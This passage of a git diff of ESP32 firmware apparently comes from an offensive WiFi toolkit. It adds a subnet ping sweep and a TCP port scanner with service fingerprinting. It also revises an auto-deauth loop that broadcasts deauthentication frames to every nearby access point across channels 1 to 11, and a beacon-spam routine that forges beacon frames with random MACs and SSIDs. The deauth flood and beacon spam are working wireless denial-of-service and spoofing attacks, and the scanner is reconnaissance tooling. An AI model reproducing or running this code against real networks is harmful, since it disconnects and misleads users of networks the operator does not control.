interface\n"); + TERMINAL_VIEW_ADD_TEXT("Failed to get WiFi interface\n"); + return false; + } + + // Check if WiFi is connected + wifi_ap_record_t ap_info; + if (esp_wifi_sta_get_ap_info(&ap_info) != ESP_OK) { + printf("WiFi is not connected\n"); + TERMINAL_VIEW_ADD_TEXT("WiFi is not connected\n"); + return false; + } + + // Get IP info + esp_netif_ip_info_t ip_info; + if (esp_netif_get_ip_info(netif, &ip_info) != ESP_OK) { + printf("Failed to get IP info\n"); + TERMINAL_VIEW_ADD_TEXT("Failed to get IP info\n"); + return false; + } + + uint32_t network = ip_info.ip.addr & ip_info.netmask.addr; + struct in_addr network_addr; + network_addr.s_addr = network; + + char *network_str = inet_ntoa(network_addr); + char *last_dot = strrchr(network_str, '.'); + if (last_dot == NULL) { + printf("Invalid network address format\n"); + TERMINAL_VIEW_ADD_TEXT("Invalid network address format\n"); + return false; + } + + size_t prefix_len = last_dot - network_str + 1; + memcpy(ctx->subnet_prefix, network_str, prefix_len); + ctx->subnet_prefix[prefix_len] = '\0'; + + printf("Determined subnet prefix: %s\n", ctx->subnet_prefix); + TERMINAL_VIEW_ADD_TEXT("Determined subnet prefix: %s\n", ctx->subnet_prefix); + return true; +} + +bool is_host_active(const char *ip_addr) { + struct sockaddr_in addr; + int sock; + struct timeval timeout; + fd_set readset; + uint8_t buf[sizeof(icmp_packet_t)]; + bool is_active = false; + + sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); + if (sock < 0) + return false; + + // Prepare ICMP packet + icmp_packet_t *icmp = (icmp_packet_t *)buf; + icmp->type = 8; // ICMP Echo Request + icmp->code = 0; + icmp->checksum = 0; + icmp->id = 0xAFAF; + icmp->seqno = htons(1); + icmp->checksum = calculate_checksum((uint16_t *)icmp, sizeof(icmp_packet_t)); + + addr.sin_family = AF_INET; + inet_pton(AF_INET, ip_addr, &addr.sin_addr.s_addr); + + sendto(sock, buf, sizeof(icmp_packet_t), 0, (struct sockaddr *)&addr, sizeof(addr)); + + timeout.tv_sec = HOST_TIMEOUT_MS / 1000; + timeout.tv_usec = (HOST_TIMEOUT_MS % 1000) * 1000; + + FD_ZERO(&readset); + FD_SET(sock, &readset); + + if (select(sock + 1, &readset, NULL, NULL, &timeout) > 0) { + is_active = true; + } + + close(sock); + return is_active; +} + +scanner_ctx_t *scanner_init(void) { + scanner_ctx_t *ctx = malloc(sizeof(scanner_ctx_t)); + if (!ctx) + return NULL; + + ctx->results = malloc(sizeof(host_result_t) * END_HOST); + if (!ctx->results) { + free(ctx); + return NULL; + } + + ctx->max_results = END_HOST; + ctx->num_active_hosts = 0; + ctx->subnet_prefix[0] = '\0'; + + return ctx; +} + +void scan_ports_on_host(const char *target_ip, host_result_t *result) { + struct sockaddr_in server_addr; + int sock; + int scan_result; + struct timeval timeout; + fd_set fdset; + int flags; + + strcpy(result->ip, target_ip); + result->num_open_ports = 0; + + server_addr.sin_family = AF_INET; + inet_pton(AF_INET, target_ip, &server_addr.sin_addr.s_addr); + + printf("Scanning host: %s\n", target_ip); + TERMINAL_VIEW_ADD_TEXT("Scanning host: %s\n", target_ip); + + for (size_t i = 0; i < NUM_PORTS; i++) { + if (result->num_open_ports >= MAX_OPEN_PORTS) + break; + + uint16_t port = COMMON_PORTS[i]; + sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (sock < 0) + continue; + + flags = fcntl(sock, F_GETFL, 0); + fcntl(sock, F_SETFL, flags | O_NONBLOCK); + + server_addr.sin_port = htons(port); + scan_result = connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr)); + + if (scan_result < 0 && errno == EINPROGRESS) { + timeout.tv_sec = SCAN_TIMEOUT_MS / 1000; + timeout.tv_usec = (SCAN_TIMEOUT_MS % 1000) * 1000; + + FD_ZERO(&fdset); + FD_SET(sock, &fdset); + + scan_result = select(sock + 1, NULL, &fdset, NULL, &timeout); + + if (scan_result > 0) { + int error = 0; + socklen_t len = sizeof(error); + if (getsockopt(sock, SOL_SOCKET, SO_ERROR, &error, &len) >= 0 && error == 0) { + result->open_ports[result->num_open_ports++] = port; + printf("%s - Port %d is OPEN\n", target_ip, port); + TERMINAL_VIEW_ADD_TEXT("%s - Port %d is OPEN\n", target_ip, port); + } + } + } + + close(sock); + vTaskDelay(pdMS_TO_TICKS(10)); + } +} + +void scanner_cleanup(scanner_ctx_t *ctx) { + if (ctx) { + if (ctx->results) { + free(ctx->results); + } + free(ctx); + } +} + +bool wifi_manager_scan_subnet() { + scanner_ctx_t *ctx = scanner_init(); + if (!ctx) { + printf("Failed to initialize scanner context\n"); + TERMINAL_VIEW_ADD_TEXT("Failed to initialize scanner context\n"); + return false; + } + + if (!get_subnet_prefix(ctx)) { + printf("Failed to get network information. Make sure WiFi is connected.\n"); + TERMINAL_VIEW_ADD_TEXT("Failed to get network information. Make sure WiFi is connected.\n"); + scanner_cleanup(ctx); + return false; + } + + char current_ip[26]; + ctx->num_active_hosts = 0; + + printf("Starting subnet scan on %s0/24\n", ctx->subnet_prefix); + TERMINAL_VIEW_ADD_TEXT("Starting subnet scan on %s0/24\n", ctx->subnet_prefix); + + for (int host = START_HOST; host <= END_HOST; host++) { + snprintf(current_ip, sizeof(current_ip), "%s%d", ctx->subnet_prefix, host); + + if (is_host_active(current_ip)) { + printf("Found active host: %s\n", current_ip); + TERMINAL_VIEW_ADD_TEXT("Found active host: %s\n", current_ip); + scan_ports_on_host(current_ip, &ctx->results[ctx->num_active_hosts]); + ctx->num_active_hosts++; + } + } + + printf("Scan completed. Found %d active hosts:\n", ctx->num_active_hosts); + TERMINAL_VIEW_ADD_TEXT("Scan completed. Found %d active hosts:\n", ctx->num_active_hosts); + + for (size_t i = 0; i < ctx->num_active_hosts; i++) { + if (ctx->results[i].num_open_ports > 0) { + printf("Host %s has %d open ports:\n", ctx->results[i].ip, + ctx->results[i].num_open_ports); + TERMINAL_VIEW_ADD_TEXT("Host %s has %d open ports:\n", ctx->results[i].ip, + ctx->results[i].num_open_ports); + + printf("Possible services/devices:\n"); + TERMINAL_VIEW_ADD_TEXT("Possible services/devices:\n"); + + for (uint8_t j = 0; j < ctx->results[i].num_open_ports; j++) { + uint16_t port = ctx->results[i].open_ports[j]; + printf(" - Port %d: ", port); + TERMINAL_VIEW_ADD_TEXT(" - Port %d: ", port); + + switch (port) { + case 20: + case 21: + printf("FTP Server\n"); + TERMINAL_VIEW_ADD_TEXT("FTP Server\n"); + break; + case 22: + case 2222: + printf("SSH Server\n"); + TERMINAL_VIEW_ADD_TEXT("SSH Server\n"); + break; + case 23: + printf("Telnet Server\n"); + TERMINAL_VIEW_ADD_TEXT("Telnet Server\n"); + break; + case 80: + case 8080: + case 8443: + case 443: + printf("Web Server\n"); + TERMINAL_VIEW_ADD_TEXT("Web Server\n"); + break; + case 445: + case 139: + printf("Windows File Share/Domain Controller\n"); + TERMINAL_VIEW_ADD_TEXT("Windows File Share/Domain Controller\n"); + break; + case 3389: + printf("Windows Remote Desktop\n"); + TERMINAL_VIEW_ADD_TEXT("Windows Remote Desktop\n"); + break; + case 5900: + case 5901: + case 5902: + printf("VNC Remote Access\n"); + TERMINAL_VIEW_ADD_TEXT("VNC Remote Access\n"); + break; + case 1521: + printf("Oracle Database\n"); + TERMINAL_VIEW_ADD_TEXT("Oracle Database\n"); + break; + case 3306: + printf("MySQL Database\n"); + TERMINAL_VIEW_ADD_TEXT("MySQL Database\n"); + break; + case 5432: + printf("PostgreSQL Database\n"); + TERMINAL_VIEW_ADD_TEXT("PostgreSQL Database\n"); + break; + case 27017: + printf("MongoDB Database\n"); + TERMINAL_VIEW_ADD_TEXT("MongoDB Database\n"); + break; + case 9100: + printf("Network Printer\n"); + TERMINAL_VIEW_ADD_TEXT("Network Printer\n"); + break; + case 32400: + printf("Plex Media Server\n"); + TERMINAL_VIEW_ADD_TEXT("Plex Media Server\n"); + break; + case 2082: + case 2083: + case 2086: + case 2087: + printf("Web Hosting Control Panel\n"); + TERMINAL_VIEW_ADD_TEXT("Web Hosting Control Panel\n"); + break; + case 6379: + printf("Redis Server\n"); + TERMINAL_VIEW_ADD_TEXT("Redis Server\n"); + break; + case 1883: + case 8883: + printf("IoT Device (MQTT)\n"); + TERMINAL_VIEW_ADD_TEXT("IoT Device (MQTT)\n"); + break; + default: + printf("Unknown Service\n"); + TERMINAL_VIEW_ADD_TEXT("Unknown Service\n"); + } + } + + bool has_web = false; + bool has_db = false; + bool has_file_sharing = false; + + for (uint8_t j = 0; j < ctx->results[i].num_open_ports; j++) { + uint16_t port = ctx->results[i].open_ports[j]; + if (port == 80 || port == 443 || port == 8080 || port == 8443) + has_web = true; + if (port == 3306 || port == 5432 || port == 1521 || port == 27017) + has_db = true; + if (port == 445 || port == 139) + has_file_sharing = true; + } + + printf("\nPossible device type:\n"); + TERMINAL_VIEW_ADD_TEXT("\nPossible device type:\n"); + + if (has_web && has_db) { + printf("- Web Application Server\n"); + TERMINAL_VIEW_ADD_TEXT("- Web Application Server\n"); + } + if (has_file_sharing) { + printf("- Windows Server\n"); + TERMINAL_VIEW_ADD_TEXT("- Windows Server\n"); + } + printf("\n"); + TERMINAL_VIEW_ADD_TEXT("\n"); + } + } + + scanner_cleanup(ctx); + return true; +} + +bool scan_ip_port_range(const char *target_ip, uint16_t start_port, uint16_t end_port) { + scanner_ctx_t *ctx = scanner_init(); + if (!ctx) { + printf("Failed to initialize scanner context\n"); + TERMINAL_VIEW_ADD_TEXT("Failed to initialize scanner context\n"); + return false; + } + + ctx->num_active_hosts = 1; + host_result_t *result = &ctx->results[0]; + strcpy(result->ip, target_ip); + result->num_open_ports = 0; + + struct sockaddr_in server_addr; + server_addr.sin_family = AF_INET; + inet_pton(AF_INET, target_ip, &server_addr.sin_addr.s_addr); + + printf("Scanning %s ports %d-%d\n", target_ip, start_port, end_port); + TERMINAL_VIEW_ADD_TEXT("Scanning %s ports %d-%d\n", target_ip, start_port, end_port); + + uint16_t ports_scanned = 0; + uint16_t total_ports = end_port - start_port + 1; + + for (uint16_t port = start_port; port <= end_port; port++) { + if (result->num_open_ports >= MAX_OPEN_PORTS) + break; + + ports_scanned++; + if (ports_scanned % 100 == 0) { + printf("Progress: %d/%d ports scanned (%.1f%%)\n", ports_scanned, total_ports, + (float)ports_scanned / total_ports * 100); + TERMINAL_VIEW_ADD_TEXT("Progress: %d/%d ports scanned (%.1f%%)\n", ports_scanned, + total_ports, (float)ports_scanned / total_ports * 100); + } + + int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (sock < 0) + continue; + + int flags = fcntl(sock, F_GETFL, 0); + fcntl(sock, F_SETFL, flags | O_NONBLOCK); + + server_addr.sin_port = htons(port); + int scan_result = connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr)); + + if (scan_result < 0 && errno == EINPROGRESS) { + struct timeval timeout = {.tv_sec = SCAN_TIMEOUT_MS / 1000, + .tv_usec = (SCAN_TIMEOUT_MS % 1000) * 1000}; + fd_set fdset; + FD_ZERO(&fdset); + FD_SET(sock, &fdset); + + if (select(sock + 1, NULL, &fdset, NULL, &timeout) > 0) { + int error = 0; + socklen_t len = sizeof(error); + if (getsockopt(sock, SOL_SOCKET, SO_ERROR, &error, &len) >= 0 && error == 0) { + result->open_ports[result->num_open_ports++] = port; + printf("%s - Port %d is OPEN\n", target_ip, port); + TERMINAL_VIEW_ADD_TEXT("%s - Port %d is OPEN\n", target_ip, port); + } + } + } + close(sock); + vTaskDelay(pdMS_TO_TICKS(10)); + } + + for (size_t i = 0; i < ctx->num_active_hosts; i++) { + if (ctx->results[i].num_open_ports > 0) { + printf("Host %s has %d open ports:\n", ctx->results[i].ip, + ctx->results[i].num_open_ports); + TERMINAL_VIEW_ADD_TEXT("Host %s has %d open ports:\n", ctx->results[i].ip, + ctx->results[i].num_open_ports); + } + } + + scanner_cleanup(ctx); + return true; +} + +void wifi_manager_scan_for_open_ports() { wifi_manager_scan_subnet(); } + void rgb_visualizer_server_task(void *pvParameters) { char rx_buffer[MAX_PAYLOAD]; char addr_str[128]; @@ -1632,23 +1982,13 @@ void rgb_visualizer_server_task(void *pvParameters) { vTaskDelete(NULL); } -void wifi_auto_deauth_task(void* Parameter) -{ - while (1) - { - +void wifi_auto_deauth_task(void *Parameter) { + while (1) { wifi_scan_config_t scan_config = { - .ssid = NULL, - .bssid = NULL, - .channel = 0, - .show_hidden = true - }; + .ssid = NULL, .bssid = NULL, .channel = 0, .show_hidden = true}; ESP_ERROR_CHECK(esp_wifi_scan_start(&scan_config, false)); - - vTaskDelay(pdMS_TO_TICKS(1500)); - esp_wifi_scan_stop(); ESP_ERROR_CHECK(esp_wifi_scan_get_ap_num(&ap_count)); @@ -1657,14 +1997,17 @@ void wifi_auto_deauth_task(void* Parameter) scanned_aps = malloc(sizeof(wifi_ap_record_t) * ap_count); if (scanned_aps == NULL) { printf("Failed to allocate memory for AP info\n"); - return; + continue; } ESP_ERROR_CHECK(esp_wifi_scan_get_ap_records(&ap_count, scanned_aps)); - - printf("Found %d access points\n", ap_count); + printf("\nFound %d access points\n", ap_count); + TERMINAL_VIEW_ADD_TEXT("\nFound %d access points\n", ap_count); } else { - printf("No access points found\n"); + printf("\nNo access points found\n"); + TERMINAL_VIEW_ADD_TEXT("\nNo access points found\n"); + vTaskDelay(pdMS_TO_TICKS(1000)); // Wait before retrying if no APs found + continue; } wifi_ap_record_t *ap_info = scanned_aps; @@ -1673,32 +2016,46 @@ void wifi_auto_deauth_task(void* Parameter) return; } - for (int z = 0; z < 50; z++) - { - for (int i = 0; i < ap_count; i++) - { - for (int y = 1; y < 12; y++) - { + for (int z = 0; z < 50; z++) { + for (int i = 0; i < ap_count; i++) { + for (int y = 1; y < 12; y++) { + int retry_count = 0; + esp_err_t err; + while (retry_count < 3) { + err = esp_wifi_set_channel(y, WIFI_SECOND_CHAN_NONE); + if (err == ESP_OK) { + break; + } + printf("Failed to set channel %d, retry %d\n", y, retry_count + 1); + vTaskDelay(pdMS_TO_TICKS(50)); // 50ms delay between retries + retry_count++; + } + + if (err != ESP_OK) { + printf("Failed to set channel after retries, skipping...\n"); + continue; // Skip this channel if all retries failed + } + uint8_t broadcast_mac[] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; wifi_manager_broadcast_deauth(ap_info[i].bssid, y, broadcast_mac); - vTaskDelay(10 / portTICK_PERIOD_MS); + vTaskDelay(pdMS_TO_TICKS(25)); // 25ms delay between deauth packets } + vTaskDelay(pdMS_TO_TICKS(50)); // 50ms delay between APs } + vTaskDelay(pdMS_TO_TICKS(100)); // 100ms delay between cycles } free(scanned_aps); - } + vTaskDelay(pdMS_TO_TICKS(1000)); // 1000ms delay before starting next scan + } } -void wifi_manager_auto_deauth() -{ +void wifi_manager_auto_deauth() { printf("Starting auto deauth transmission...\n"); wifi_auto_deauth_task(NULL); -} - +} -void wifi_manager_stop_deauth() -{ +void wifi_manager_stop_deauth() { if (beacon_task_running) { printf("Stopping deauth transmission...\n"); TERMINAL_VIEW_ADD_TEXT("Stopping deauth transmission...\n"); @@ -1712,7 +2069,8 @@ void wifi_manager_stop_deauth() ap_manager_start_services(); } } else { - printf("No deauth transmission is running.\n"); + printf("No deauth transmission\nis running.\n"); + TERMINAL_VIEW_ADD_TEXT("No deauth transmission\nis running.\n"); } } @@ -1724,8 +2082,6 @@ void wifi_manager_print_scan_results_with_oui() { return; } - printf("Found %u access points:\n", ap_count); - for (uint16_t i = 0; i < ap_count; i++) { char ssid_temp[33]; memcpy(ssid_temp, scanned_aps[i].ssid, 32); @@ -1734,53 +2090,58 @@ void wifi_manager_print_scan_results_with_oui() { const char *ssid_str = (strlen(ssid_temp) > 0) ? ssid_temp : "Hidden Network"; ECompany company = match_bssid_to_company(scanned_aps[i].bssid); - const char* company_str = "Unknown"; + const char *company_str = "Unknown"; switch (company) { - case COMPANY_DLINK: company_str = "DLink"; break; - case COMPANY_NETGEAR: company_str = "Netgear"; break; - case COMPANY_BELKIN: company_str = "Belkin"; break; - case COMPANY_TPLINK: company_str = "TPLink"; break; - case COMPANY_LINKSYS: company_str = "Linksys"; break; - case COMPANY_ASUS: company_str = "ASUS"; break; - case COMPANY_ACTIONTEC: company_str = "Actiontec"; break; - default: company_str = "Unknown"; break; + case COMPANY_DLINK: + company_str = "DLink"; + break; + case COMPANY_NETGEAR: + company_str = "Netgear"; + break; + case COMPANY_BELKIN: + company_str = "Belkin"; + break; + case COMPANY_TPLINK: + company_str = "TPLink"; + break; + case COMPANY_LINKSYS: + company_str = "Linksys"; + break; + case COMPANY_ASUS: + company_str = "ASUS"; + break; + case COMPANY_ACTIONTEC: + company_str = "Actiontec"; + break; + default: + company_str = "Unknown"; + break; } // Print access point information without BSSID - printf( - "[%u] SSID: %s,\n" - " RSSI: %d,\n" - " Company: %s\n", - i, - ssid_str, - scanned_aps[i].rssi, - company_str - ); + printf("[%u] SSID: %s,\n" + " RSSI: %d,\n" + " Company: %s\n", + i, ssid_str, scanned_aps[i].rssi, company_str); // Log information in terminal view without BSSID - TERMINAL_VIEW_ADD_TEXT( - "[%u] SSID: %s,\n" - " RSSI: %d,\n" - " Company: %s\n", - i, - ssid_str, - scanned_aps[i].rssi, - company_str - ); + TERMINAL_VIEW_ADD_TEXT("[%u] SSID: %s,\n" + " RSSI: %d,\n" + " Company: %s\n", + i, ssid_str, scanned_aps[i].rssi, company_str); } } - esp_err_t wifi_manager_broadcast_ap(const char *ssid) { uint8_t packet[256] = { - 0x80, 0x00, 0x00, 0x00, // Frame Control, Duration - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination address (broadcast) - 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source address (randomized later) - 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // BSSID (randomized later) - 0xc0, 0x6c, // Seq-ctl (sequence control) - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Timestamp (set to 0) - 0x64, 0x00, // Beacon interval (100 TU) - 0x11, 0x04, // Capability info (ESS) + 0x80, 0x00, 0x00, 0x00, // Frame Control, Duration + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination address (broadcast) + 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source address (randomized later) + 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // BSSID (randomized later) + 0xc0, 0x6c, // Seq-ctl (sequence control) + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Timestamp (set to 0) + 0x64, 0x00, // Beacon interval (100 TU) + 0x11, 0x04, // Capability info (ESS) }; for (int ch = 1; ch <= 11; ch++) { @@ -1788,7 +2149,7 @@ esp_err_t wifi_manager_broadcast_ap(const char *ssid) { generate_random_mac(&packet[10]); memcpy(&packet[16], &packet[10], 6); - char ssid_buffer[RANDOM_SSID_LEN + 1]; + char ssid_buffer[RANDOM_SSID_LEN + 1]; if (ssid == NULL) { generate_random_ssid(ssid_buffer, RANDOM_SSID_LEN + 1); ssid = ssid_buffer; @@ -1799,35 +2160,35 @@ esp_err_t wifi_manager_broadcast_ap(const char *ssid) { memcpy(&packet[38], ssid, ssid_len); uint8_t *supported_rates_ie = &packet[38 + ssid_len]; - supported_rates_ie[0] = 0x01; // Supported Rates IE tag - supported_rates_ie[1] = 0x08; // Length (8 rates) - supported_rates_ie[2] = 0x82; // 1 Mbps - supported_rates_ie[3] = 0x84; // 2 Mbps - supported_rates_ie[4] = 0x8B; // 5.5 Mbps - supported_rates_ie[5] = 0x96; // 11 Mbps - supported_rates_ie[6] = 0x24; // 18 Mbps - supported_rates_ie[7] = 0x30; // 24 Mbps - supported_rates_ie[8] = 0x48; // 36 Mbps - supported_rates_ie[9] = 0x6C; // 54 Mbps + supported_rates_ie[0] = 0x01; // Supported Rates IE tag + supported_rates_ie[1] = 0x08; // Length (8 rates) + supported_rates_ie[2] = 0x82; // 1 Mbps + supported_rates_ie[3] = 0x84; // 2 Mbps + supported_rates_ie[4] = 0x8B; // 5.5 Mbps + supported_rates_ie[5] = 0x96; // 11 Mbps + supported_rates_ie[6] = 0x24; // 18 Mbps + supported_rates_ie[7] = 0x30; // 24 Mbps + supported_rates_ie[8] = 0x48; // 36 Mbps + supported_rates_ie[9] = 0x6C; // 54 Mbps uint8_t *ds_param_set_ie = &supported_rates_ie[10]; - ds_param_set_ie[0] = 0x03; // DS Parameter Set IE tag - ds_param_set_ie[1] = 0x01; // Length (1 byte) + ds_param_set_ie[0] = 0x03; // DS Parameter Set IE tag + ds_param_set_ie[1] = 0x01; // Length (1 byte) uint8_t primary_channel; wifi_second_chan_t second_channel; esp_wifi_get_channel(&primary_channel, &second_channel); - ds_param_set_ie[2] = primary_channel; // Set the current channel + ds_param_set_ie[2] = primary_channel; // Set the current channel // Add HE Capabilities (for Wi-Fi 6 detection) uint8_t *he_capabilities_ie = &ds_param_set_ie[3]; - he_capabilities_ie[0] = 0xFF; // Vendor-Specific IE tag (802.11ax capabilities) - he_capabilities_ie[1] = 0x0D; // Length of HE Capabilities (13 bytes) + he_capabilities_ie[0] = 0xFF; // Vendor-Specific IE tag (802.11ax capabilities) + he_capabilities_ie[1] = 0x0D; // Length of HE Capabilities (13 bytes) // Wi-Fi Alliance OUI (00:50:6f) for 802.11ax (Wi-Fi 6) - he_capabilities_ie[2] = 0x50; // OUI byte 1 - he_capabilities_ie[3] = 0x6f; // OUI byte 2 - he_capabilities_ie[4] = 0x9A; // OUI byte 3 (OUI type) + he_capabilities_ie[2] = 0x50; // OUI byte 1 + he_capabilities_ie[3] = 0x6f; // OUI byte 2 + he_capabilities_ie[4] = 0x9A; // OUI byte 3 (OUI type) // Wi-Fi 6 HE Capabilities: a simplified example of capabilities he_capabilities_ie[5] = 0x00; // HE MAC capabilities info (placeholder) @@ -1835,11 +2196,11 @@ esp_err_t wifi_manager_broadcast_ap(const char *ssid) { he_capabilities_ie[7] = 0x00; // Other HE PHY capabilities he_capabilities_ie[8] = 0x00; // More PHY capabilities (placeholder) he_capabilities_ie[9] = 0x40; // Spatial streams info (2x2 MIMO) - he_capabilities_ie[10] = 0x00; // More PHY capabilities - he_capabilities_ie[11] = 0x00; // Even more PHY capabilities - he_capabilities_ie[12] = 0x01; // Final PHY capabilities (Wi-Fi 6 capabilities set) - - size_t packet_size = (38 + ssid_len + 12 + 3 + 13); // Adjust packet size + he_capabilities_ie[10] = 0x00; // More PHY capabilities + he_capabilities_ie[11] = 0x00; // Even more PHY capabilities + he_capabilities_ie[12] = 0x01; // Final PHY capabilities (Wi-Fi 6 capabilities set) + + size_t packet_size = (38 + ssid_len + 12 + 3 + 13); // Adjust packet size esp_err_t err = esp_wifi_80211_tx(WIFI_IF_AP, packet, packet_size, false); if (err != ESP_OK) { @@ -1847,45 +2208,43 @@ esp_err_t wifi_manager_broadcast_ap(const char *ssid) { return err; } - vTaskDelay(pdMS_TO_TICKS(10)); // Delay between channel hops + vTaskDelay(pdMS_TO_TICKS(10)); // Delay between channel hops } return ESP_OK; } -void wifi_manager_stop_beacon() -{ +void wifi_manager_stop_beacon() { if (beacon_task_running) { printf("Stopping beacon transmission...\n"); TERMINAL_VIEW_ADD_TEXT("Stopping beacon transmission...\n"); - + // Stop the beacon task if (beacon_task_handle != NULL) { vTaskDelete(beacon_task_handle); beacon_task_handle = NULL; beacon_task_running = false; } - + // Turn off RGB indicator rgb_manager_set_color(&rgb_manager, 0, 0, 0, 0, false); - + // Stop WiFi completely esp_wifi_stop(); vTaskDelay(pdMS_TO_TICKS(500)); // Give some time for WiFi to stop - + // Reset WiFi mode esp_wifi_set_mode(WIFI_MODE_AP); - + // Now restart services ap_manager_init(); } else { - printf("No beacon transmission is running.\n"); - TERMINAL_VIEW_ADD_TEXT("No beacon transmission is running.\n"); + printf("No beacon transmission running.\n"); + TERMINAL_VIEW_ADD_TEXT("No beacon transmission running.\n"); } } -void wifi_manager_start_ip_lookup() -{ +void wifi_manager_start_ip_lookup() { wifi_ap_record_t ap_info; if (esp_wifi_sta_get_ap_info(&ap_info) != ESP_OK || ap_info.rssi == 0) { printf("Not connected to an Access Point.\n"); @@ -1894,26 +2253,28 @@ void wifi_manager_start_ip_lookup() } esp_netif_ip_info_t ip_info; - if (esp_netif_get_ip_info(esp_netif_get_handle_from_ifkey("WIFI_STA_DEF"), &ip_info) == ESP_OK) { - printf("Connected. Proceeding with IP lookup...\n"); - TERMINAL_VIEW_ADD_TEXT("Connected. Proceeding with IP lookup...\n"); + if (esp_netif_get_ip_info(esp_netif_get_handle_from_ifkey("WIFI_STA_DEF"), &ip_info) == + ESP_OK) { + printf("Connected.\nProceeding with IP lookup...\n"); + TERMINAL_VIEW_ADD_TEXT("Connected.\nProceeding with IP lookup...\n"); int device_count = 0; struct DeviceInfo devices[MAX_DEVICES]; for (int s = 0; s < NUM_SERVICES; s++) { int retries = 0; - mdns_result_t* mdnsresult = NULL; + mdns_result_t *mdnsresult = NULL; - if (mdnsresult == NULL) - { + if (mdnsresult == NULL) { while (retries < 5 && mdnsresult == NULL) { mdns_query_ptr(services[s].query, "_tcp", 2000, 30, &mdnsresult); if (mdnsresult == NULL) { retries++; - TERMINAL_VIEW_ADD_TEXT("Retrying mDNS query for service: %s (Attempt %d)\n", services[s].query, retries); - printf("Retrying mDNS query for service: %s (Attempt %d)\n", services[s].query, retries); + TERMINAL_VIEW_ADD_TEXT("Retrying mDNS query for service: %s (Attempt %d)\n", + services[s].query, retries); + printf("Retrying mDNS query for service: %s (Attempt %d)\n", + services[s].query, retries); vTaskDelay(pdMS_TO_TICKS(500)); } } @@ -1922,11 +2283,12 @@ void wifi_manager_start_ip_lookup() if (mdnsresult != NULL) { printf("mDNS query succeeded for service: %s\n", services[s].query); TERMINAL_VIEW_ADD_TEXT("mDNS query succeeded for service: %s\n", services[s].query); - - mdns_result_t* current_result = mdnsresult; + + mdns_result_t *current_result = mdnsresult; while (current_result != NULL && device_count < MAX_DEVICES) { char ip_str[INET_ADDRSTRLEN]; - inet_ntop(AF_INET, ¤t_result->addr->addr.u_addr.ip4, ip_str, INET_ADDRSTRLEN); + inet_ntop(AF_INET, ¤t_result->addr->addr.u_addr.ip4, ip_str, + INET_ADDRSTRLEN); printf("Device at: %s\n", ip_str); printf(" Name: %s\n", current_result->hostname); @@ -1943,41 +2305,41 @@ void wifi_manager_start_ip_lookup() mdns_query_results_free(mdnsresult); } else { - printf("Failed to find devices for service: %s after %d retries\n", services[s].query, retries); - TERMINAL_VIEW_ADD_TEXT("Failed to find devices for service: %s after %d retries\n", services[s].query, retries); + printf("Failed to find devices for service: %s after %d retries\n", + services[s].query, retries); + TERMINAL_VIEW_ADD_TEXT("Failed to find devices for service: %s after %d retries\n", + services[s].query, retries); } } } else { - printf("Could not get network interface info.\n"); - TERMINAL_VIEW_ADD_TEXT("Could not get network interface info.\n"); + printf("Can't recieve network interface info.\n"); + TERMINAL_VIEW_ADD_TEXT("Can't recieve network interface info.\n"); } printf("IP Scan Done.\n"); TERMINAL_VIEW_ADD_TEXT("IP Scan Done...\n"); } -void wifi_manager_connect_wifi(const char* ssid, const char* password) { +void wifi_manager_connect_wifi(const char *ssid, const char *password) { wifi_config_t wifi_config = { - .sta = { - .threshold.authmode = strlen(password) > 8 ? WIFI_AUTH_WPA2_PSK : WIFI_AUTH_OPEN, - .pmf_cfg = { - .capable = true, - .required = false + .sta = + { + .threshold.authmode = strlen(password) > 8 ? WIFI_AUTH_WPA2_PSK : WIFI_AUTH_OPEN, + .pmf_cfg = {.capable = true, .required = false}, }, - }, }; // Copy SSID and password safely - strlcpy((char*)wifi_config.sta.ssid, ssid, sizeof(wifi_config.sta.ssid)); - strlcpy((char*)wifi_config.sta.password, password, sizeof(wifi_config.sta.password)); + strlcpy((char *)wifi_config.sta.ssid, ssid, sizeof(wifi_config.sta.ssid)); + strlcpy((char *)wifi_config.sta.password, password, sizeof(wifi_config.sta.password)); // Ensure we're disconnected before starting esp_wifi_disconnect(); - vTaskDelay(pdMS_TO_TICKS(500)); // Increased delay to ensure disconnect completes + vTaskDelay(pdMS_TO_TICKS(500)); // Increased delay to ensure disconnect completes // Clear any previous connection state xEventGroupClearBits(wifi_event_group, WIFI_CONNECTED_BIT); - + ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_APSTA)); ESP_ERROR_CHECK(esp_wifi_set_config(ESP_IF_WIFI_STA, &wifi_config)); ESP_ERROR_CHECK(esp_wifi_start()); @@ -1987,45 +2349,47 @@ void wifi_manager_connect_wifi(const char* ssid, const char* password) { bool connected = false; while (retry_count < max_retries && !connected) { - printf("Attempting to connect to Wi-Fi (Attempt %d/%d)...\n", retry_count + 1, max_retries); - TERMINAL_VIEW_ADD_TEXT("Attempting to connect to Wi-Fi (Attempt %d/%d)...\n", retry_count + 1, max_retries); + printf("Attempting to connect to Wi-Fi\n(Attempt %d/%d)...\n", retry_count + 1, + max_retries); + TERMINAL_VIEW_ADD_TEXT("Attempting to connect to Wi-Fi\n(Attempt %d/%d)...\n", + retry_count + 1, max_retries); esp_err_t ret = esp_wifi_connect(); if (ret == ESP_ERR_WIFI_CONN) { // If already connecting, wait for result instead of treating as error - printf("Connection already in progress, waiting for result...\n"); - TERMINAL_VIEW_ADD_TEXT("Connection already in progress, waiting for result...\n"); + printf("Connection already in progress\nwaiting for result...\n"); + TERMINAL_VIEW_ADD_TEXT("Connection already in progress\nwaiting for result...\n"); ret = ESP_OK; } if (ret == ESP_OK) { // Wait for connection event with timeout - EventBits_t bits = xEventGroupWaitBits(wifi_event_group, - WIFI_CONNECTED_BIT, - pdFALSE, - pdTRUE, - pdMS_TO_TICKS(8000)); // Increased to 8 second timeout + EventBits_t bits = + xEventGroupWaitBits(wifi_event_group, 